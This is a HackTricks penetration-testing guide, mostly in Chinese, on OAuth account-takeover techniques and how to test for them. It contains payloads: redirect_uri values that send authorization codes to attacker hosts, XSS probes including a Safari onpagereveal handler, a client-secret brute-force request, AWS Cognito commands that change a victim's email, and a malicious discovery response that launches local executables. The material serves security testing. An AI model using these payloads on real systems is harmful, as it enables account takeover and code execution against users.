OAuth 导致账户接管
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。
基本信息
OAuth 提供多个版本,基础信息可见 OAuth 2.0 文档。本讨论主要围绕广泛使用的 OAuth 2.0 authorization code grant type,它提供了一个用于授权的框架,允许一个应用访问或代表用户在另一个应用(授权服务器)上的账户执行操作。
考虑一个假设网站 https://example.com,用于展示你所有的社交媒体帖子,包括私密内容。为此使用了 OAuth 2.0。https://example.com 会请求你允许 访问你的社交媒体帖子。因此,https://socialmedia.com 会出现一个 consent screen,说明 正在请求的权限以及发起请求的开发者。在你授权后,https://example.com 就能够 代表你访问你的帖子。
在 OAuth 2.0 框架中,需要理解以下组成部分:
- resource owner:您,作为用户/实体,授权访问您的资源,例如您的社交媒体账号帖子。
- resource server:在应用代表
resource owner获取到access token之后,负责处理经过身份验证请求的服务器,例如 https://socialmedia.com。 - client application:向
resource owner请求授权的应用,例如 https://example.com。 - authorization server:在
resource owner成功认证并授权后,向client application发放access tokens的服务器,例如 https://socialmedia.com。 - client_id:应用的公开、唯一标识符。
- client_secret: 仅为应用与 authorization server 所知的机密密钥,用于生成
access_tokens。 - response_type:指定所请求令牌类型的值,例如
code。 - scope:
client application向resource owner请求的访问范围。 - redirect_uri:用户授权后被重定向回的 URL。通常必须与预先注册的重定向 URL 匹配。
- state:在用户被重定向到授权服务器并返回时,用于在重定向过程中保持数据的参数。其唯一性对于作为 CSRF 保护机制 至关重要。
- grant_type:指示授权类型以及将返回何种类型令牌的参数。
- code:来自
authorization server的授权码,客户端应用与client_id和client_secret一起使用该码以获取access_token。 - access_token:客户端应用代表
resource owner发起 API 请求时使用的令牌。 - refresh_token:使应用在不重新提示用户的情况下获取新的
access_token。
流程
实际的 OAuth 流程如下:
- 你访问 https://example.com 并点击 “Integrate with Social Media” 按钮。
- 该网站向 https://socialmedia.com 发送请求,询问是否授权 https://example.com 的应用访问你的帖子。该请求的结构如下:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- 然后会向你展示一个同意页面。
- 在你批准之后,社交媒体会向
redirect_uri发送包含code和state参数的响应:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com 使用该
code,连同其client_id和client_secret,向服务器端发起请求以代表你获取access_token,从而访问你已同意的权限:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- 最后,该流程以 https://example.com 使用你的
access_token发起对社交媒体 (Social Media) 的 API 调用以访问
漏洞
Open redirect_uri
Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. 任何在此处的弱点都会让攻击者通过一个恶意的 authorization URL 将受害者引导过去,使得 IdP 将受害者的 code(和 state)直接交付给攻击者的端点,攻击者随后可以兑换并窃取 tokens。
典型攻击流程:
- 构造
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback并将其发送给受害者。 - 受害者进行认证并批准 scopes。
- IdP 重定向到
attacker.tld/callback?code=<victim-code>&state=...,攻击者记录该请求并立即兑换 code。
常见的验证漏洞以供检测:
- No validation – any absolute URL is accepted, resulting in instant code theft.
- Weak substring/regex checks on the host – 可通过类似域名绕过,例如
evilmatch.com、match.com.evil.com、match.com.mx、matchAmatch.com、evil.com#match.com或match.com@evil.com。 - IDN homograph mismatches – 验证发生在 punycode 形式(
xn--),但浏览器会重定向到攻击者控制的 Unicode 域名。 - Arbitrary paths on an allowed host – 将
redirect_uri指向/openredirect?next=https://attacker.tld或任何 XSS/用户内容端点会通过链式重定向、Referer 头或注入的 JavaScript leaks the code。 - Directory constraints without normalization – 像
/oauth/*这样的模式可以通过/oauth/../anything绕过。 - Wildcard subdomains – 接受
*.example.com意味着任何 takeover(dangling DNS、S3 bucket 等)都会立即产生有效回调。 - Non-HTTPS callbacks – 允许
http://URIs 会让网络攻击者(Wi‑Fi、企业代理)有机会在传输过程中窃取 code。
还应检查辅助的重定向类参数(client_uri、policy_uri、tos_uri、initiate_login_uri 等)以及 OpenID discovery 文档(/.well-known/openid-configuration),以查找可能继承相同验证漏洞的其他端点。
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
将 redirect_uri 锁定为“自有/第一方域名”并无帮助,如果任何列入允许列表的域名暴露了 attacker-controlled paths or execution contexts(旧版应用平台、用户命名空间、CMS 上传等)。如果 OAuth/联邦登录流程 returns tokens in the URL(query 或 hash),攻击者可以:
- 启动合法流程以生成预令牌(例如多步 Accounts Center/FXAuth 流程中的
etoken)。 - 向受害者发送一个授权 URL,该 URL 将允许列表域设置为
redirect_uri/base_uri,但将next/路径 指向攻击者控制的命名空间(例如https://apps.facebook.com/<attacker_app>)。 - 受害者批准后,IdP 会重定向到攻击者控制的路径,并在 URL 中带有敏感值(
token、blob、codes 等)。 - 该页面上的 JavaScript 读取
window.location并 exfiltrates 这些值,尽管该域名被视为“受信任”。 - 将捕获的值重放到只期望重定向携带令牌的下游特权端点。来自 FXAuth 流程的示例:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS 在 redirect 实现中
正如这篇 bug bounty 报告 https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html 所述,用户认证后可能会出现 URL 在服务器响应中被反射,从而 易受 XSS 攻击。可测试的 payload:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
OAuth callback error pages: reflected error_description, trusted-origin phishing, and encoded state leakage
一些 OAuth 集成在 IdP 将浏览器重定向回来后,使用 第一方回调页面 来呈现登录失败信息。这些页面价值很高,因为它们已经运行在一个 trusted origin 上,并且经常会消费攻击者可控的参数,例如 error、error_description、message、description 或 state。
- 将
error_description反射到 HTML 中 而没有严格的输出编码,会把回调页面变成一个 trusted-origin phishing page。即使<script>被过滤,HTML 注入仍然可以伪造整个失败页面,并指示受害者执行攻击者指定的操作。 - WAFs 通常会针对常见的 handlers(例如
onload/onerror)。当常规 payload 被阻止时,尝试 浏览器特有或不常见的事件,这些事件可能不会被防御方列入黑名单。一个实际例子是 Safari 的onpagereveal,当恶意回调页面在 Safari 中显示时可以执行:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
- Test self-referential payloads: 如果注入的 HTML/JS 能重新打开或重载相同的 callback URL,可能会导致 client-side resource exhaustion、重复弹窗/标签页,或在每次渲染时造成 log flooding。
- Always decode opaque-looking
statevalues. 许多实现会用 Base64 对 JSON 或用户元数据进行编码并假定其“隐藏”。Base64 是可逆的,因此 callback URL 可能会 leak PII,例如电子邮件地址、租户标识符、返回路径或内部工作流状态。 - Treat URL exposure as part of the bug: 任何放在 callback URL 中的内容都可能随后出现在浏览器历史、反向代理、load balancer、应用日志、监控工具、截图,以及在页面加载第三方资源时的
Refererheaders。
测试期间的快速检查:
- 触发成功和失败两种 OAuth callback,并捕获完整 URL 及渲染后的 HTML。
- 在重放 callback 时变更
error_description、message及类似错误字段,使用纯文本、HTML 和 event-handler payloads 进行测试。 - 将
state解码为 Base64/URL-safe Base64,并检查是否包含本应保留在服务器端的 PII 或应用状态。 - 当 WAF 阻挡标准的 inline-event XSS 探针时,在 Safari/WebKit 中重复测试浏览器特有的 payloads。
CSRF - Improper handling of state parameter
state 参数是 Authorization Code flow 的 CSRF token:客户端必须为每个浏览器实例生成一个 加密学上随机的值,将其保存在只有该浏览器能读到的位置(cookie、local storage 等),在 authorization 请求中发送该值,并拒绝任何未返回相同值的响应。只要该值是静态的、可预测的、可选的或未绑定到用户会话,攻击者就能完成自己的 OAuth 流程,截取最终的 ?code= 请求(而不发送它),并在之后诱使受害者浏览器重放该请求,从而将受害者账号关联到攻击者的 identity provider 配置文件。
重放模式始终相同:
- 攻击者使用自己的账号在 IdP 上认证,并拦截包含
code(及任何state)的最后重定向。 - 他们丢弃该请求,保留 URL,随后利用任意 CSRF 原语(link、iframe、自动提交表单)强制受害者浏览器加载该 URL。
- 如果客户端不强制
state,应用就会消费攻击者的授权结果并将攻击者登录为受害者的应用账号。
测试期间关于 state 处理的实用检查清单:
- Missing
stateentirely – 如果完全没有该参数,整个登录流程就是 CSRFable。 statenot required – 从初始请求中移除它;如果 IdP 仍然发放 client 可接受的 codes,则防护是可选的(opt-in)。- Returned
statenot validated – 在响应中篡改该值(使用 Burp、MITM proxy)。接受不匹配的值意味着存储的 token 从未被比较。 - Predictable or purely data-driven
state– 许多应用将重定向路径或 JSON blob 塞入state而不混入随机性,攻击者因此可以猜测有效值并重放流程。总是在编码数据前后加入强熵。 statefixation – 如果应用允许用户提供state值(例如通过构造的 authorization URLs)并在整个流程中重用它,攻击者可以固定已知值并在不同受害者间复用。
PKCE 可以补充 state(特别是对 public clients),通过将 authorization code 绑定到 code verifier,但 web 客户端仍需跟踪 state 以防止跨用户的 CSRF/账户关联漏洞。
Pre Account Takeover
- Without Email Verification on Account Creation: 攻击者可以事先使用受害者的邮箱创建账号。如果受害者随后使用第三方服务登录,应用可能会不经意间将该第三方账号关联到攻击者预先创建的账号,导致未授权访问。
- Exploiting Lax OAuth Email Verification: 攻击者可能利用不验证邮箱的 OAuth 服务,先注册一个账号然后将账号邮箱改为受害者的邮箱。这种方法同样会带来未授权的账号访问风险,与第一种情形类似但攻击向量不同。
Disclosure of Secrets
client_id 是故意公开的,但 client_secret 绝不应被终端用户恢复。将 secret 嵌入到 mobile APKs, desktop clients, or single-page apps 的 Authorization Code 部署,实际上把该凭据交给了任何能下载该包的人。始终通过以下方式检查 public clients:
- 解包 APK/IPA、desktop installer 或 Electron app,并 grep 寻找
client_secret、可解码为 JSON 的 Base64 blob,或硬编码的 OAuth endpoints。 - 检查打包的配置文件(plist、JSON、XML)或反编译出的字符串以寻找客户端凭据。
一旦攻击者提取到 secret,他们只需偷取任意受害者的授权 code(通过弱 redirect_uri、日志等),即可独立请求 /token 并铸造 access/refresh tokens,而无需依赖合法的应用。将 public/native clients 视为 incapable of holding secrets——它们应依赖 PKCE (RFC 7636) 来证明对 per-instance code verifier 的持有,而不是静态 secret。在测试中,确认 PKCE 是否为强制,以及后端是否会拒绝缺少 client_secret 或 有效 code_verifier 的 token 交换。
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
一旦客户端拿到 code and state,如果它们在 location.href 或 document.referrer 中出现并被转发给第三方,它们就会 leak。出现两个常见模式:
- Classic Referer leak: 在 OAuth 重定向之后,任何 URL 中保留
?code=&state=的导航都会把它们推送到发送给 CDNs/analytics/ads 的 Referer header 中。 - Telemetry/analytics confused deputy: 有些 SDK(pixels/JS loggers)会对
postMessage事件作出反应,然后 send the currentlocation.href/referrerto backend APIs using a token supplied in the message`。如果你能在该流程中注入自己的 token(例如,通过攻击者控制的 postMessage 中继),你以后就可以读取该 SDK 的 API 请求历史/日志,并从这些请求中恢复受害者嵌入的 OAuth artifacts。
Access Token Stored in Browser History
Authorization Code 授权的核心保证是 access tokens 永远不会到达资源所有者的浏览器。当实现把 tokens 在客户端 leak 时,任何小漏洞(XSS、Referer leak、proxy logging)都会立即导致账户被接管。始终检查:
- Tokens in URLs – 如果
access_token出现在 query/fragment 中,它会落到浏览器历史、服务器日志、analytics,以及发送给第三方的 Referer headers 中。 - Tokens transiting untrusted middleboxes – 通过 HTTP 返回 tokens 或通过调试/公司代理转发会让网络观察者直接捕获它们。
- Tokens stored in JavaScript state – React/Vue stores、全局变量或序列化的 JSON blob 会向该 origin 上的每个脚本暴露 tokens(包括 XSS payloads 或恶意扩展)。
- Tokens persisted in Web Storage –
localStorage/sessionStorage会在共享设备上在登出后长时间保留 tokens,并且脚本可访问。
以上任一发现通常会把原本“低危”的漏洞(例如 CSP 绕过或 DOM XSS)升级为完整的 API 接管,因为攻击者可以直接读取并重放泄露的 bearer token。
Everlasting Authorization Code
Authorization codes 必须是 短期、一次性且能检测重放 的。在评估流程时,捕获一个 code 并进行:
- Test the lifetime – RFC 6749 建议以分钟为单位,而不是小时。尝试在 5–10 分钟后兑换该 code;如果仍然有效,则该 code 的暴露窗口过长。
- Test sequential reuse – 发送同一个
code两次。如果第二次请求仍然返回另一个 token,攻击者即可无限克隆会话。 - Test concurrent redemption/race conditions – 并行发起两个 token 请求(Burp intruder、turbo intruder)。弱实现有时会同时发放两个 token。
- Observe replay handling – 重用尝试不仅应失败,而且还应撤销任何已由该 code 铸造的 token。否则,一旦检测到重放,攻击者的第一个 token 仍然有效。
将可重放的 code 与任何 redirect_uri 或日志记录漏洞结合,会允许在受害者完成合法登录后仍保持持久的账户访问。
Authorization/Refresh Token not bound to client
如果你能拿到 authorization code 并用它在不同的 client/app 上兑换 token,你就能接管其他账户。通过以下方式测试弱绑定:
- 为 app A 捕获一个
code并将其发送到 app B’s token endpoint;如果仍然收到 token,则 audience binding 已损坏。 - 尝试那些本应仅限于其自身 client IDs 的 first-party token minting endpoints;如果它们接受任意
state/app_id而只验证 code,你实际上就可以执行 authorization-code swap 来铸造权限更高的 first-party tokens。 - 检查 client 绑定是否忽略 nonce/redirect URI 不匹配。如果错误页面仍然加载会记录
location.href的 SDK,则可以将其与 Referer/telemetry 泄露结合,窃取 codes 并在别处兑换。
任何将 code → token 的端点必须验证签发该 code 的 client、redirect URI 和 nonce;否则,任何应用被窃取的 code 都可以升级为 first-party access token。
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
在这份 bug bounty 报告中: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ ,你可以看到 AWS Cognito 返回给用户的 token 可能具有 覆盖用户数据的足够权限。因此,如果你能将某个用户的邮箱更改为另一个邮箱,你可能能够接管其他用户的账户。
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.
滥用其他应用的 token
正如 mentioned in this writeup 所述,期待接收 token(而不是 code)的 OAuth 流程,如果不检查该 token 是否属于本 app,则可能存在漏洞。
这是因为一个 attacker 可以在自己的 application 中创建一个支持 OAuth 并允许通过 Facebook 登录的应用(例如)。然后,一旦 victim 在该 attackers application 中用 Facebook 登录,attacker 就可能获取分配给其 application 的用户 OAuth token,并使用该 token 在 victim 的 OAuth 应用中登录。
Caution
因此,如果 attacker 设法让用户访问其 OAuth application,他将能够在那些期望收到 token 且未检查该 token 是否被授予给自己 app ID 的应用中接管 victim 的账户。
Two links & cookie
根据 this writeup,可以让 victim 打开一个页面,其 returnUrl 指向 attacker 的主机。该信息会被 存储在 cookie (RU) 中,并在后续步骤中由 prompt 向 user 询问是否同意将访问权限授予该 attacker 主机。
为绕过该 prompt,可以先打开一个标签页以启动 Oauth flow,利用 returnUrl 设置该 RU cookie,在 prompt 出现之前关闭该标签页,然后再打开不含该值的新标签页。这样,prompt 不会提示关于 attacker 主机的信息,但 cookie 已被设置为该主机,因此在重定向中 token 会被发送到 attacker 主机。
Prompt Interaction Bypass
正如 this video 所述,某些 OAuth 实现允许将 GET 参数 prompt 指定为 None(&prompt=none),以在用户已登录平台时阻止网页弹出 prompt 询问其确认所请求的访问权限。
response_mode
正如 explained in this video 所述,可能可以使用参数 response_mode 指定最终 URL 中 code 的提供位置:
response_mode=query-> code 会作为 GET 参数提供:?code=2397rf3gu93fresponse_mode=fragment-> code 会在 URL 的 fragment 中提供:#code=2397rf3gu93fresponse_mode=form_post-> code 会通过一个 POST 表单提供,表单包含名为code的 input 及其值response_mode=web_message-> code 会通过 postMessage 发送:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
Clickjacking 非常适用于 OAuth 同意/登录对话框:如果这些对话框可以被嵌入框架,attacker 可以覆盖自定义图形、隐藏真实按钮,并诱导用户批准危险的 scope 或关联账户。构建 PoC 时可以:
- 在
<iframe sandbox="allow-forms allow-scripts allow-same-origin">中加载 IdP 的 authorization URL。 - 使用绝对定位/不透明度技巧,将伪造按钮与隐藏的 Allow/Approve 控件对齐。
- 可选地预填参数(scopes、redirect URI),使被窃取的批准能立即为 attacker 带来好处。
测试时验证 IdP 页面是否返回 X-Frame-Options: DENY/SAMEORIGIN 或限制性的 Content-Security-Policy: frame-ancestors 'none'。如果两者都不存在,使用诸如 NCC Group’s clickjacking PoC generator 的工具演示风险,并记录 victim 多么容易授权 attacker 的 app。欲获取额外载荷思路,请参阅 Clickjacking。
OAuth ROPC flow - 2 FA bypass
根据 this blog post,此 OAuth 流允许通过 username 和 password 在 OAuth 中登录。如果在此简单流程中返回了可访问用户所有操作的 token,则可以使用该 token 绕过 2FA。
ATO on web page redirecting based on open redirect to referrer
这篇 blogpost 讲述了如何滥用将重定向目标设置为 referrer 值的 open redirect,从而利用 OAuth 实现 ATO。攻击流程如下:
- Victim 访问 attacker 的网页
- Victim 打开恶意链接,opener 启动 Google OAuth flow,并附加参数
response_type=id_token,code&prompt=none,同时将 referrer 设为 attacker 的网站。 - 在 opener 中,provider 授权 victim 后,会以 30X 重定向返回到
redirect_uri参数指定的值(victim 的网站),但重定向请求仍将 attacker 的网站保留在 referer 中。 - Victim 网站根据 referrer 触发 open redirect,将 victim 重定向到 attacker 的网站;由于
respose_type为id_token,code,code 会作为 URL 的 fragment 返回给 attacker,从而允许 attacker 通过 Google 在 victim 的站点接管用户账户。
SSRFs parameters
Check this research 获取关于此技术的更多细节。
OAuth 中的 Dynamic Client Registration 是一个不那么显眼但关键的安全向量,尤其容易被用于 Server-Side Request Forgery (SSRF) 攻击。此 endpoint 允许 OAuth 服务器接收有关 client applications 的细节,包括可能被利用的敏感 URL。
要点:
- Dynamic Client Registration 通常映射到
/register,通过 POST 接受诸如client_name,client_secret,redirect_uris以及用于 logo 或 JSON Web Key Sets (JWKs) 的 URL 等细节。 - 该功能遵循 RFC7591 和 OpenID Connect Registration 1.0 中的规范,其中包含可能导致 SSRF 的参数。
- 注册过程可能无意中通过多种方式使服务器暴露于 SSRF:
logo_uri:客户端应用 logo 的 URL,服务器可能会去抓取该 URL,从而触发 SSRF,或在 URL 处理不当时导致 XSS。jwks_uri:指向客户端 JWK 文档的 URL,若恶意构造,可能导致服务器向 attacker 控制的服务器发起出站请求。sector_identifier_uri:引用包含redirect_uris的 JSON 数组,服务器可能会请求该 URI,从而产生 SSRF 机会。request_uris:列出客户端允许的 request URIs,如果服务器在授权开始时抓取这些 URIs,则可能被利用。
利用策略:
- 通过在
logo_uri,jwks_uri, 或sector_identifier_uri等参数中注册带恶意 URL 的新 client,可以触发 SSRF。 - 尽管通过
request_uris的直接利用可能被白名单控制缓解,但提供预先注册的、由 attacker 控制的request_uri可在授权阶段促成 SSRF。
OAuth/OIDC Discovery URL Abuse & OS Command Execution
关于 CVE-2025-6514 的研究(影响 mcp-remote 客户端,例如 Claude Desktop、Cursor 或 Windsurf)展示了当客户端直接将 IdP 元数据转发给操作系统时,dynamic OAuth discovery 如何变成 RCE 原语。远程 MCP 服务器在 discovery 交换(/.well-known/openid-configuration 或任何元数据 RPC)期间返回受 attacker 控制的 authorization_endpoint。mcp-remote ≤0.1.15 随后会用到达的任意字符串调用系统的 URL 处理器(start, open, xdg-open 等),因此系统支持的任何 scheme/path 都会被本地执行。
攻击流程
- 将桌面 agent 指向一个恶意的 MCP/OAuth 服务器(
npx mcp-remote https://evil)。agent 收到401和元数据。 - 服务器返回类似如下的 JSON:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- 客户端为所提供的 URI 启动操作系统处理程序。Windows 接受像
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."这样的 payload;macOS/Linux 接受file:///Applications/Calculator.app/...或者在已注册时甚至接受自定义 scheme(例如cmd://bash -lc '<payload>')。 - 因为这在任何用户交互之前就发生,仅通过将客户端配置为与攻击者服务器通信即可实现代码执行。
如何测试
- 针对任何支持 OAuth 的桌面程序/agent,这些程序通过 HTTP(S) 执行 discovery 并在本地打开返回的 endpoints(例如 Electron apps、CLI helpers、thick clients)。
- 截获或托管 discovery 响应,并将
authorization_endpoint、device_authorization_endpoint或类似字段替换为file://、cmd://、UNC paths 或其他危险的 schemes。 - 观察客户端是否验证 scheme/host。缺乏验证将导致在用户上下文下立即执行,从而证明存在该问题。
- 对不同的 schemes 进行重复测试以映射完整的攻击面(例如
ms-excel:、data:text/html,、custom protocol handlers),并演示跨平台影响范围。
OAuth providers Race Conditions
如果你正在测试的平台是一个 OAuth provider,read this to test for possible Race Conditions。
Mutable Claims Attack
在 OAuth 中,sub 字段用于唯一标识用户,但其格式因 Authorization Server 而异。为标准化用户标识,某些客户端使用 email 或用户 handle。然而,这存在风险,因为:
- 一些 Authorization Servers 并不保证这些属性(例如 email)保持不可变。
- 在某些实现中——例如 “Login with Microsoft”——客户端依赖于 email 字段,而该字段是 由用户在 Entra ID 中控制的 并且未被验证。
- 攻击者可以通过创建自己的 Azure AD 组织(例如 doyensectestorg)并利用它执行 Microsoft 登录来利用这一点。
- 即便 Object ID(存储在 sub 中)是不可变且安全的,依赖于可变的 email 字段仍可能导致 account takeover(例如劫持像 victim@gmail.com 这样的账户)。
Client Confusion Attack
在 Client Confusion Attack 中,使用 OAuth Implicit Flow 的应用未能验证最终的 access token 是否专门为其自身的 Client ID 生成。攻击者搭建一个使用 Google 的 OAuth Implicit Flow 的公共网站,诱骗成千上万的用户登录,从而收集原本属于攻击者站点的 access tokens。如果这些用户在另一个不验证 token 的 Client ID 的易受攻击网站上也有账户,攻击者可以重用收集到的 tokens 来冒充受害者并接管他们的账户。
Scope Upgrade Attack
Authorization Code Grant 类型涉及用于传输用户数据的安全 server-to-server 通信。然而,如果 Authorization Server 在 Access Token Request 中隐式信任 scope 参数(该参数并未在 RFC 中定义),恶意应用可能通过请求更高的 scope 来升级 authorization code 的权限。在 Access Token 生成后,Resource Server 必须对其进行验证:对于 JWT tokens,这包括检查 JWT 签名并提取诸如 client_id 和 scope 的数据;而对于随机字符串 tokens,服务器必须查询 Authorization Server 以检索 token 的详细信息。
Redirect Scheme Hijacking
在移动端 OAuth 实现中,应用使用 custom URI schemes 来接收带有 Authorization Codes 的重定向。然而,由于设备上可能有多个应用注册相同的 scheme,因此仅合法客户端控制重定向 URI 的假设被打破。例如在 Android 上,像 com.example.app:// 这样的 Intent URI 是基于 scheme 以及在应用的 intent-filter 中定义的可选过滤器来捕获的。由于 Android 的 intent 解析可能非常宽泛——尤其是在仅指定 scheme 时——攻击者可以注册一个带有精心构造 intent filter 的恶意应用来劫持 authorization code。这可以通过用户交互(当多个应用有资格处理该 intent 时)或利用过于宽泛/不当的过滤器的绕过技术来实现 account takeover,如 Ostorlab 的评估流程图所述。
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Rapid7: CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)
- MDN: Window
pagerevealevent
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。


